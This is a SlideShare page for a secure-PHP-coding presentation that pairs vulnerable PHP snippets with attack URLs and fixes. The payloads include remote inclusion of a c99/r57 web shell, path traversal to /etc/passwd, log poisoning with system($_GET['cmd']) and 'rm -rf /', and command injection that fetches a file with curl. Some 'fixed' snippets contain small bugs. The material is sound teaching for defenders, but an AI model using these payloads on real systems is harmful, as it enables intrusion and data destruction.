SlideShare a Scribd company logo
Secure PHP Coding – Part I
PHP Functions you should keep eye on
• extract
• parse_str
• putenv
• ini_set
• mail
• header
• proc_nice
• proc_terminate
• proc_close
• pfsockopen
• fsockopen
• apache_child_terminate
• posix_kill
• posix_mk
• fifoposix_set
• pgidposix_set
• sidposix_setuid
• exec
• passthru
• system
• shell_exec
• `` (backticks)
• popen
• proc_open
• pcntl_exec
• eval()
• assert()
• preg_replace('/.*/e',...)
• create_function()
• include()
• include_once()
• require()
• require_once()
• $_GET['func_name']($_GET['argument']);
• new ReflectionFunction
…Continued :p
• fopen
• tmpfile
• bzopen
• gzopen
• SplFileObject>__construct
• chgrp
• chmod
• chown
• copy
• file_put_contents
• lchgrp
• lchown
• link
• mkdir
• move_uploaded_file
• rename
• rmdir
• symlink
• tempnam
• touch
• unlink
• file_get_contents
• file
• fileatime
• filectime
• filegroup
• fileinode
• filemtime
• fileowner
• fileperms
• filesize
• filetype
• glob
• is_dir
• is_executable
• is_file
• is_link
• is_readable
• is_uploaded_file
• is_writable
• readfile
• and 100 more
I didn’t do it
<?php
foreach ($_GET as $key => $value) {
$$key = $value;
}
echo 'Welcome ' . $user_name;
?>
https://www.zomato.com/your.php?user_name=Vinoth
welcome.php
Expected Input
https://www.zomato.com/your.php?_SESSION[isLoggedIn]=true&_SESSION[csrf_token]=123&_SESSION[user_id]=4
Types of Security Vulnerabilities
1. Remote File Inclusion (RFI)
2. Local File Inclusion (LFI)
3. Local File Disclosure/Download
4. Remote File Upload
5. Remote Command Execution
6. Remote Code Execution (RCE)
7. Authentication Bypass/Insecure Permissions
8. Cross Site Scripting (XSS)
9. Cross Site Request Forgery (CSRF)
Remote File Inclusion(RFI)
<?php
include $_GET['theme'].'.php';
?>
http://localhost/rfi/index.php?theme=pink
index.php
Expected Input
Remote File Inclusion – Attack
• Including Remote Code:
• http://localhost/rfi/index.php?theme=[http|https|ftp]://www.c99shellphp.com/shell/r57.txt
• http://localhost/rfi/index1.php?theme=[http|https|ftp]://www.c99shellphp.com/shell/r57.txt?
• Using PHP stream php://input:
• http://localhost/rfi/index.php?theme=php://input
• Using PHP stream php://filter:
• http://localhost/rfi/index.php?theme=php://filter/convert.base64-encode/resource=index.php
• Using data URIs:
• http://localhost/rfi/index.php?theme=data://text/plain;base64,SSBsb3ZlIFBIUAo=
Remote File Inclusion – Fix
• set allow_url_include = Off in php.ini
• Validate with array of allowed files
• Don't allow special chars in variables
• filter the slash "/"
• filter "http" , "https" , "ftp" and "smb”
<?php
$allowedThemes = array('pink.php', 'black.php');
$theme = $_GET['theme'].'php';
if(in_array($theme, $allowedThemes) && file_exists($theme)){
include $theme;
}
?>
index_fixed.php
Remote File Inclusion – Functions
• require
• require_once
• include
• include_once
Local File Inclusion(LFI)
<?php
include 'themes/'.$_GET['theme'].'.php';
?>
index.php
http://localhost/lfi/index.php?theme=pink
Expected Input
Local File Inclusion – Attack
• Reading Local Filesystem File:
• http://localhost/lfi/index.php?theme=../../../../../../../../../../../../../../etc/passwd
• Uploading PHP Shell:
• Exploiting Apache Access Log
• http://localhost/<?php system($_GET['cmd']); ?>
• http://localhost/lfi/index.php?theme=../../../../../../../../../../../../../../var/log/apache2/ac
cess.log&cmd=rm -rf /
• proc/self/environ method
• Tamper http User-Agent into <?php system($_GET['cmd']); ?>
• http://localhost/lfi/index.php?theme=../../../../../../../../../../../../../../proc/self/environ&c
md=rm -rf /
Local File Inclusion – Fix
• Validate with array of allowed files
• Don't allow special chars in variables
• filter the dot "." and slash "/"
• filter "http" , "https" , "ftp" and "smb"
<?php
$allowedThemes = array('pink.php', 'black.php');
$theme = $_GET['theme'].'php';
if(in_array($theme, $allowedThemes)){
include 'themes/'.$theme;
}
?>
index_fixed.php
Local File Inclusion – Functions
• require
• require_once
• include
• include_once
Local File Disclosure/Download
<?php
$invoice = dirname(__FILE__).'invoices/'.$_REQUEST['invoice'];
header("Pragma: public"); header("Expires: 0");
header("Cache-Control: must-revalidate, post-check=0, pre-check=0");
header("Content-Type: application/force-download");
header( "Content-Disposition: attachment; filename=".basename($invoice));
@readfile($invoice);
die();
?>
download_invoice.php
http://localhost/lfd/download_invoice.php?invoice=ZINV01212.csv
Expected Input
Local File Disclosure/Download – Attack
• Download sytem files/config files/logs
• http://localhost/lfd/download_invoice.php?invoice=../../../../../../../../../../../..
/../../../../../../etc/passwd
Local File Disclosure/Download – Fix
• Use pathinfo or basename
• Don't allow special chars in variables
• filter the dot "." and slash "/”
<?php
$invoice = dirname(__FILE__).'invoices/'.pathinfo($_REQUEST['invoice'])['filename'].'csv';
header("Pragma: public");
header("Expires: 0");
header("Cache-Control: must-revalidate, post-check=0, pre-check=0");
header("Content-Type: application/force-download");
header( "Content-Disposition: attachment; filename=".basename($invoice));
@readfile($invoice);
die();
?>
download_invoice_fixed.php
Local File Disclosure/Download – Functions
• readfile
• bzopen
• fopen
• SplFileObject
• file_get_contents
• readlink
Remote File Upload
<?php
$filename = $_FILES['picture']['name'];
$folder = dirname(__FILE__).'/pictures/';
if(!move_uploaded_file($_FILES['picture']['tmp_name'], $folder.$filename)){
echo "picture not uploaded";
die();
}
echo "picture uploaded successfully";
?>
<?php
$size = getimagesize($_FILES['picture']['tmp_name']);
if (!$size) { echo 'Upload Image file :p'; die(); }
$filename = $_FILES['picture']['name'];
$folder = dirname(__FILE__).'/pictures/';
if(!move_uploaded_file($_FILES['picture']['tmp_name'], $folder.$filename)){
echo "picture not uploaded";
die();
}
echo "picture uploaded successfully";
?>
upload_profile_picture.php
upload_profile_picture_with_type_check.php
Remote File Upload – Attack
• Upload PHP file/Script File
• Upload Image file with php code in EXIF data and file extenstion is
php
Remote File Upload – Fix
• Validate file type and remove default file extension and remove
whitespaces in the file name
• Generate random file name
• Store uploaded files in different path not '/var/www/’
<?php
$size = getimagesize($_FILES['picture']['tmp_name']);
if (!$size) { echo 'Upload Image file :p'; die(); }
$filename = trim(pathinfo($_FILES['picture']['name'])['filename']);
$folder = dirname(__FILE__).'/pictures/';
if(!move_uploaded_file($_FILES['picture']['tmp_name'], $folder.$filename.'.jpg')){
echo "picture not uploaded";
die();
}
echo "picture uploaded successfully";
?>
upload_profile_picture_fixed.php
Remote File Upload – Functions
• move_uploaded_file
• file_put_contents
• fwrite
Remote Command Execution
<?php
$user_id = $_GET['user_id'];
$path = dirname(__FILE__).'/'.$user_id;
if (!file_exists($path)){
system('mkdir '.$path);
}
// upload picture
?>
upload_picture.php
http://localhost/command/upload_picture.php?user_id=1
Expected Input
Remote Command Execution – Attack
• Pass arguments with || or && then system commands
• http://localhost/command/upload_picture.php?user_id=1 || curl -
Khttps://raw.githubusercontent.com/vinothzomato/zpwned/master/lfd/dow
nload_invoice.php -o test.php
Remote Command Execution – Fix
• Use escapeshellarg() and escapeshellcmd()
<?php
$user_id = $_GET['user_id'];
$path = dirname(__FILE__).'/'.$user_id;
if (!file_exists($path)){
system('mkdir '.escapeshellarg($path));
}
// upload picture
?>
upload_picture_fixed.php
Remote Command Execution – Functions
• exec
• passthru
• system
• shell_exec
• `` (backticks)
• popen
• proc_open
• pcntl_exec
Remote Code Execution(RCE)
References
• https://github.com/vinothzomato/zpwned
• Information & Samples
• https://www.exploit-db.com/papers/12871/
• http://stackoverflow.com/questions/3115559/exploitable-php-
functions
• http://www.php-security.org/2010/05/20/mops-submission-07-our-
dynamic-php/index.html
Secure PHP Coding - Part 1

More Related Content

What's hot (19)

PDF
News of the Symfony2 World
Fabien Potencier
 
ODP
Perl5i
Marcos Rebelo
 
PDF
Php vulnerability presentation
Sqa Enthusiast
 
PPTX
Efficient DBA: Gain Time by Reducing Command-Line Keystrokes
Seth Miller
 
PPTX
Perl basics for Pentesters
Sanjeev Kumar Jaiswal
 
KEY
Fatc
Wade Arnold
 
PDF
Action Controller Overview, Season 2
RORLAB
 
PPTX
Twas the night before Malware...
DoktorMandrake
 
PPTX
User registration and login using stored procedure in php
PHPGurukul Blog
 
PPTX
Cakefest 2010: API Development
Andrew Curioso
 
PDF
Symfony 2.0 on PHP 5.3
Fabien Potencier
 
PDF
UA testing with Selenium and PHPUnit - PHPBenelux Summer BBQ
Michelangelo van Dam
 
PDF
Laravel admin20170819
yehlu
 
PDF
Keep It Simple Security (Symfony cafe 28-01-2016)
Oleg Zinchenko
 
PDF
REST in practice with Symfony2
Daniel Londero
 
PDF
Drupal campleuven: Secure Drupal Development
Steven Van den Hout
 
PDF
Assetic (OSCON)
Kris Wallsmith
 
PDF
Undercover Pods / WP Functions
podsframework
 
KEY
Zendcon 09
Wade Arnold
 
News of the Symfony2 World
Fabien Potencier
 
Php vulnerability presentation
Sqa Enthusiast
 
Efficient DBA: Gain Time by Reducing Command-Line Keystrokes
Seth Miller
 
Perl basics for Pentesters
Sanjeev Kumar Jaiswal
 
Action Controller Overview, Season 2
RORLAB
 
Twas the night before Malware...
DoktorMandrake
 
User registration and login using stored procedure in php
PHPGurukul Blog
 
Cakefest 2010: API Development
Andrew Curioso
 
Symfony 2.0 on PHP 5.3
Fabien Potencier
 
UA testing with Selenium and PHPUnit - PHPBenelux Summer BBQ
Michelangelo van Dam
 
Laravel admin20170819
yehlu
 
Keep It Simple Security (Symfony cafe 28-01-2016)
Oleg Zinchenko
 
REST in practice with Symfony2
Daniel Londero
 
Drupal campleuven: Secure Drupal Development
Steven Van den Hout
 
Assetic (OSCON)
Kris Wallsmith
 
Undercover Pods / WP Functions
podsframework
 
Zendcon 09
Wade Arnold
 

Similar to Secure PHP Coding - Part 1 (20)

PPTX
Web application, cookies and sessions
hamsa nandhini
 
PPTX
PHP File Handling
Degu8
 
PDF
関西PHP勉強会 php5.4つまみぐい
Hisateru Tanaka
 
PPTX
Parse, scale to millions
Florent Vilmart
 
PPT
Bypass file upload restrictions
Mukesh k.r
 
PDF
How to make a WordPress theme
Hardeep Asrani
 
PPTX
Ch3(working with file)
Chhom Karath
 
PDF
File system
Gayane Aslanyan
 
PDF
Grok Drupal (7) Theming
PINGV
 
PDF
PHP SA 2014 - Releasing Your Open Source Project
xsist10
 
KEY
Introducing CakeEntity
Basuke Suzuki
 
PDF
Selenium再入門
Norio Suzuki
 
PPTX
Hadoop 20111117
exsuns
 
PDF
Symfony2 - WebExpo 2010
Fabien Potencier
 
PDF
Symfony2 - WebExpo 2010
Fabien Potencier
 
PPTX
Unit3IIpartpptx__2024_10_17_19_07_58 2.pptx
harleensingh985
 
PDF
Starting Out With PHP
Mark Niebergall
 
PDF
Symfony2 - OSIDays 2010
Fabien Potencier
 
PPTX
Tax management-system
Fahim Faysal Kabir
 
Web application, cookies and sessions
hamsa nandhini
 
PHP File Handling
Degu8
 
関西PHP勉強会 php5.4つまみぐい
Hisateru Tanaka
 
Parse, scale to millions
Florent Vilmart
 
Bypass file upload restrictions
Mukesh k.r
 
How to make a WordPress theme
Hardeep Asrani
 
Ch3(working with file)
Chhom Karath
 
File system
Gayane Aslanyan
 
Grok Drupal (7) Theming
PINGV
 
PHP SA 2014 - Releasing Your Open Source Project
xsist10
 
Introducing CakeEntity
Basuke Suzuki
 
Selenium再入門
Norio Suzuki
 
Hadoop 20111117
exsuns
 
Symfony2 - WebExpo 2010
Fabien Potencier
 
Symfony2 - WebExpo 2010
Fabien Potencier
 
Unit3IIpartpptx__2024_10_17_19_07_58 2.pptx
harleensingh985
 
Starting Out With PHP
Mark Niebergall
 
Symfony2 - OSIDays 2010
Fabien Potencier
 
Tax management-system
Fahim Faysal Kabir
 
Ad

Recently uploaded (20)

PDF
CIFDAQ Market Insights for July 7th 2025
CIFDAQ
 
PDF
Transcript: New from BookNet Canada for 2025: BNC BiblioShare - Tech Forum 2025
BookNet Canada
 
PDF
NewMind AI - Journal 100 Insights After The 100th Issue
NewMind AI
 
PDF
Empower Inclusion Through Accessible Java Applications
Ana-Maria Mihalceanu
 
PPTX
AI Penetration Testing Essentials: A Cybersecurity Guide for 2025
defencerabbit Team
 
PDF
HCIP-Data Center Facility Deployment V2.0 Training Material (Without Remarks ...
mcastillo49
 
PDF
New from BookNet Canada for 2025: BNC BiblioShare - Tech Forum 2025
BookNet Canada
 
PDF
DevBcn - Building 10x Organizations Using Modern Productivity Metrics
Justin Reock
 
PDF
Agentic AI lifecycle for Enterprise Hyper-Automation
Debmalya Biswas
 
PDF
Achieving Consistent and Reliable AI Code Generation - Medusa AI
medusaaico
 
PPTX
UiPath Academic Alliance Educator Panels: Session 2 - Business Analyst Content
DianaGray10
 
PDF
LLMs.txt: Easily Control How AI Crawls Your Site
Keploy
 
PPTX
COMPARISON OF RASTER ANALYSIS TOOLS OF QGIS AND ARCGIS
Sharanya Sarkar
 
PDF
Blockchain Transactions Explained For Everyone
CIFDAQ
 
PDF
Log-Based Anomaly Detection: Enhancing System Reliability with Machine Learning
Mohammed BEKKOUCHE
 
PDF
Jak MŚP w Europie Środkowo-Wschodniej odnajdują się w świecie AI
dominikamizerska1
 
PPTX
Q2 FY26 Tableau User Group Leader Quarterly Call
lward7
 
PDF
The Builder’s Playbook - 2025 State of AI Report.pdf
jeroen339954
 
PDF
How Startups Are Growing Faster with App Developers in Australia.pdf
India App Developer
 
PDF
Newgen Beyond Frankenstein_Build vs Buy_Digital_version.pdf
darshakparmar
 
CIFDAQ Market Insights for July 7th 2025
CIFDAQ
 
Transcript: New from BookNet Canada for 2025: BNC BiblioShare - Tech Forum 2025
BookNet Canada
 
NewMind AI - Journal 100 Insights After The 100th Issue
NewMind AI
 
Empower Inclusion Through Accessible Java Applications
Ana-Maria Mihalceanu
 
AI Penetration Testing Essentials: A Cybersecurity Guide for 2025
defencerabbit Team
 
HCIP-Data Center Facility Deployment V2.0 Training Material (Without Remarks ...
mcastillo49
 
New from BookNet Canada for 2025: BNC BiblioShare - Tech Forum 2025
BookNet Canada
 
DevBcn - Building 10x Organizations Using Modern Productivity Metrics
Justin Reock
 
Agentic AI lifecycle for Enterprise Hyper-Automation
Debmalya Biswas
 
Achieving Consistent and Reliable AI Code Generation - Medusa AI
medusaaico
 
UiPath Academic Alliance Educator Panels: Session 2 - Business Analyst Content
DianaGray10
 
LLMs.txt: Easily Control How AI Crawls Your Site
Keploy
 
COMPARISON OF RASTER ANALYSIS TOOLS OF QGIS AND ARCGIS
Sharanya Sarkar
 
Blockchain Transactions Explained For Everyone
CIFDAQ
 
Log-Based Anomaly Detection: Enhancing System Reliability with Machine Learning
Mohammed BEKKOUCHE
 
Jak MŚP w Europie Środkowo-Wschodniej odnajdują się w świecie AI
dominikamizerska1
 
Q2 FY26 Tableau User Group Leader Quarterly Call
lward7
 
The Builder’s Playbook - 2025 State of AI Report.pdf
jeroen339954
 
How Startups Are Growing Faster with App Developers in Australia.pdf
India App Developer
 
Newgen Beyond Frankenstein_Build vs Buy_Digital_version.pdf
darshakparmar
 
Ad

Secure PHP Coding - Part 1

  • 1. Secure PHP Coding – Part I
  • 2. PHP Functions you should keep eye on • extract • parse_str • putenv • ini_set • mail • header • proc_nice • proc_terminate • proc_close • pfsockopen • fsockopen • apache_child_terminate • posix_kill • posix_mk • fifoposix_set • pgidposix_set • sidposix_setuid • exec • passthru • system • shell_exec • `` (backticks) • popen • proc_open • pcntl_exec • eval() • assert() • preg_replace('/.*/e',...) • create_function() • include() • include_once() • require() • require_once() • $_GET['func_name']($_GET['argument']); • new ReflectionFunction
  • 3. …Continued :p • fopen • tmpfile • bzopen • gzopen • SplFileObject>__construct • chgrp • chmod • chown • copy • file_put_contents • lchgrp • lchown • link • mkdir • move_uploaded_file • rename • rmdir • symlink • tempnam • touch • unlink • file_get_contents • file • fileatime • filectime • filegroup • fileinode • filemtime • fileowner • fileperms • filesize • filetype • glob • is_dir • is_executable • is_file • is_link • is_readable • is_uploaded_file • is_writable • readfile • and 100 more
  • 4. I didn’t do it <?php foreach ($_GET as $key => $value) { $$key = $value; } echo 'Welcome ' . $user_name; ?> https://www.zomato.com/your.php?user_name=Vinoth welcome.php Expected Input
  • 6. Types of Security Vulnerabilities 1. Remote File Inclusion (RFI) 2. Local File Inclusion (LFI) 3. Local File Disclosure/Download 4. Remote File Upload 5. Remote Command Execution 6. Remote Code Execution (RCE) 7. Authentication Bypass/Insecure Permissions 8. Cross Site Scripting (XSS) 9. Cross Site Request Forgery (CSRF)
  • 7. Remote File Inclusion(RFI) <?php include $_GET['theme'].'.php'; ?> http://localhost/rfi/index.php?theme=pink index.php Expected Input
  • 8. Remote File Inclusion – Attack • Including Remote Code: • http://localhost/rfi/index.php?theme=[http|https|ftp]://www.c99shellphp.com/shell/r57.txt • http://localhost/rfi/index1.php?theme=[http|https|ftp]://www.c99shellphp.com/shell/r57.txt? • Using PHP stream php://input: • http://localhost/rfi/index.php?theme=php://input • Using PHP stream php://filter: • http://localhost/rfi/index.php?theme=php://filter/convert.base64-encode/resource=index.php • Using data URIs: • http://localhost/rfi/index.php?theme=data://text/plain;base64,SSBsb3ZlIFBIUAo=
  • 9. Remote File Inclusion – Fix • set allow_url_include = Off in php.ini • Validate with array of allowed files • Don't allow special chars in variables • filter the slash "/" • filter "http" , "https" , "ftp" and "smb” <?php $allowedThemes = array('pink.php', 'black.php'); $theme = $_GET['theme'].'php'; if(in_array($theme, $allowedThemes) && file_exists($theme)){ include $theme; } ?> index_fixed.php
  • 10. Remote File Inclusion – Functions • require • require_once • include • include_once
  • 11. Local File Inclusion(LFI) <?php include 'themes/'.$_GET['theme'].'.php'; ?> index.php http://localhost/lfi/index.php?theme=pink Expected Input
  • 12. Local File Inclusion – Attack • Reading Local Filesystem File: • http://localhost/lfi/index.php?theme=../../../../../../../../../../../../../../etc/passwd • Uploading PHP Shell: • Exploiting Apache Access Log • http://localhost/<?php system($_GET['cmd']); ?> • http://localhost/lfi/index.php?theme=../../../../../../../../../../../../../../var/log/apache2/ac cess.log&cmd=rm -rf / • proc/self/environ method • Tamper http User-Agent into <?php system($_GET['cmd']); ?> • http://localhost/lfi/index.php?theme=../../../../../../../../../../../../../../proc/self/environ&c md=rm -rf /
  • 13. Local File Inclusion – Fix • Validate with array of allowed files • Don't allow special chars in variables • filter the dot "." and slash "/" • filter "http" , "https" , "ftp" and "smb" <?php $allowedThemes = array('pink.php', 'black.php'); $theme = $_GET['theme'].'php'; if(in_array($theme, $allowedThemes)){ include 'themes/'.$theme; } ?> index_fixed.php
  • 14. Local File Inclusion – Functions • require • require_once • include • include_once
  • 15. Local File Disclosure/Download <?php $invoice = dirname(__FILE__).'invoices/'.$_REQUEST['invoice']; header("Pragma: public"); header("Expires: 0"); header("Cache-Control: must-revalidate, post-check=0, pre-check=0"); header("Content-Type: application/force-download"); header( "Content-Disposition: attachment; filename=".basename($invoice)); @readfile($invoice); die(); ?> download_invoice.php http://localhost/lfd/download_invoice.php?invoice=ZINV01212.csv Expected Input
  • 16. Local File Disclosure/Download – Attack • Download sytem files/config files/logs • http://localhost/lfd/download_invoice.php?invoice=../../../../../../../../../../../.. /../../../../../../etc/passwd
  • 17. Local File Disclosure/Download – Fix • Use pathinfo or basename • Don't allow special chars in variables • filter the dot "." and slash "/” <?php $invoice = dirname(__FILE__).'invoices/'.pathinfo($_REQUEST['invoice'])['filename'].'csv'; header("Pragma: public"); header("Expires: 0"); header("Cache-Control: must-revalidate, post-check=0, pre-check=0"); header("Content-Type: application/force-download"); header( "Content-Disposition: attachment; filename=".basename($invoice)); @readfile($invoice); die(); ?> download_invoice_fixed.php
  • 18. Local File Disclosure/Download – Functions • readfile • bzopen • fopen • SplFileObject • file_get_contents • readlink
  • 20. <?php $filename = $_FILES['picture']['name']; $folder = dirname(__FILE__).'/pictures/'; if(!move_uploaded_file($_FILES['picture']['tmp_name'], $folder.$filename)){ echo "picture not uploaded"; die(); } echo "picture uploaded successfully"; ?> <?php $size = getimagesize($_FILES['picture']['tmp_name']); if (!$size) { echo 'Upload Image file :p'; die(); } $filename = $_FILES['picture']['name']; $folder = dirname(__FILE__).'/pictures/'; if(!move_uploaded_file($_FILES['picture']['tmp_name'], $folder.$filename)){ echo "picture not uploaded"; die(); } echo "picture uploaded successfully"; ?> upload_profile_picture.php upload_profile_picture_with_type_check.php
  • 21. Remote File Upload – Attack • Upload PHP file/Script File • Upload Image file with php code in EXIF data and file extenstion is php
  • 22. Remote File Upload – Fix • Validate file type and remove default file extension and remove whitespaces in the file name • Generate random file name • Store uploaded files in different path not '/var/www/’ <?php $size = getimagesize($_FILES['picture']['tmp_name']); if (!$size) { echo 'Upload Image file :p'; die(); } $filename = trim(pathinfo($_FILES['picture']['name'])['filename']); $folder = dirname(__FILE__).'/pictures/'; if(!move_uploaded_file($_FILES['picture']['tmp_name'], $folder.$filename.'.jpg')){ echo "picture not uploaded"; die(); } echo "picture uploaded successfully"; ?> upload_profile_picture_fixed.php
  • 23. Remote File Upload – Functions • move_uploaded_file • file_put_contents • fwrite
  • 24. Remote Command Execution <?php $user_id = $_GET['user_id']; $path = dirname(__FILE__).'/'.$user_id; if (!file_exists($path)){ system('mkdir '.$path); } // upload picture ?> upload_picture.php http://localhost/command/upload_picture.php?user_id=1 Expected Input
  • 25. Remote Command Execution – Attack • Pass arguments with || or && then system commands • http://localhost/command/upload_picture.php?user_id=1 || curl - Khttps://raw.githubusercontent.com/vinothzomato/zpwned/master/lfd/dow nload_invoice.php -o test.php
  • 26. Remote Command Execution – Fix • Use escapeshellarg() and escapeshellcmd() <?php $user_id = $_GET['user_id']; $path = dirname(__FILE__).'/'.$user_id; if (!file_exists($path)){ system('mkdir '.escapeshellarg($path)); } // upload picture ?> upload_picture_fixed.php
  • 27. Remote Command Execution – Functions • exec • passthru • system • shell_exec • `` (backticks) • popen • proc_open • pcntl_exec
  • 29. References • https://github.com/vinothzomato/zpwned • Information & Samples • https://www.exploit-db.com/papers/12871/ • http://stackoverflow.com/questions/3115559/exploitable-php- functions • http://www.php-security.org/2010/05/20/mops-submission-07-our- dynamic-php/index.html